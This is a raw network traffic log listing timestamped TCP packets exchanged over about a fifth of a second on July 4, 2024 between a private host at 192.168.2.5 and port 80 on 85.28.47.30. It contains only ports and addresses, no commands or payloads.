Jul 4, 2024 22:20:25.030836105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030847073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030857086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030869007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030888081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030901909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030914068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.030914068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.030956030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.031744003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.031802893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.031809092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.031816006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.031843901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.031856060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.075614929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075627089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075638056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075680971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.075697899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.075759888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075773001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075784922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075798035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.075817108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.075834036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.075984955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.076035976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086384058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086402893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086416006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086427927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086440086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086441994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086452961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086460114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086474895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086502075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086538076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086548090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086565971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086591959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086608887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.086734056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.086782932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.098653078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098707914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098717928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098730087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.098748922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.098758936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.098831892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098844051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098855019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.098880053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.098896980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099080086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099091053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099124908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099152088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099163055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099195957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099318981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099333048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099344015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099363089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099380970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099514008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099524975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099535942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099558115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099585056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099680901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099692106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099704981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099725962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099739075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.099936008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099948883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099957943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099967957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099982023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.099993944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100020885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100233078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100244045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100255013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100282907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100295067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100398064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100415945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100426912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100445032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100461006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100615025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100625992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100667953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100763083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100774050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100785017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100795984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100805998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100806952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100819111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.100831032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.100852966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.105226040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.105304003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.107840061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.107887983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.107898951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.107933998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.108052015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.108068943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.108079910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.108092070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.108110905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.108130932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.114903927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.114973068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.114985943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115046024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115130901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115143061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115155935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115169048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115175009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115199089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115438938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115452051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115464926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115475893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115483999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115495920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115520954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115657091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115674019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115686893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115698099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.115705967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.115726948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.118367910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118437052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118448019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118495941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.118583918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118597031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118607998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118623972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.118629932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.118638992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.118666887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.120107889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120179892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120191097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120233059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.120311022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120322943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120332956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120345116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.120358944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.120371103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.120389938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.123689890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123742104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123753071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123775005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.123786926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.123889923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123899937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123913050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.123935938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.123944044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124074936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124085903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124094963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124106884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124119043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124124050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124147892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124167919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124324083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124341965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124351978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124387026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124583006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124594927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124604940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124617100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124634027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124646902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124675035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124686003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124696970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124706984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.124711037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124731064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.124747038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.168678999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.168718100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.168730021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.168735027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.168761015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.168771982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.168947935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.168962002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.168987989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.169004917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.169084072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.169097900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.169109106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.169133902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.169162989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180035114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180058956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180069923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180090904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180119038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180119038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180216074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180226088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180236101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180248022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180268049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180288076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180460930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180473089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180512905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180562973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180573940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180614948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180649996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180694103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180733919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180748940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180782080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180927992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180938005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.180969954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.180989027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.192637920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192692041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.192703962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192714930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192756891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.192775965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192785978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192795992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192807913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.192831039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.192867041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.192867041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193020105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193031073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193042040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193053961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193068981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193094015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193263054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193274021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193285942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193295002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193304062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193320036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193337917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193506002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193516970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193526983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193537951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193577051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193748951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193759918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193770885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.193794966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193806887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.193988085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194000006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194010019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194020987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194031000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.194041967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.194063902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.194256067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194267035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194277048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.194299936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.194381952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.198992014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199037075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199081898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199093103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199106932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199117899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199130058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199142933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199156046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199166059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199191093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199245930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199259043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199269056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.199285984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.199299097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.201747894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201760054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201771021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201807022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.201807022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.201838970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201850891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201859951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201872110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.201885939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.201904058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210515022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210529089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210541010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210573912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210588932 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210683107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210695028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210733891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210838079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210849047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210859060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210870028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210880041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.210880995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210887909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.210912943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.211359024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.211370945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.211385965 CEST	80	49704	85.28.47.30	192.168.2.5
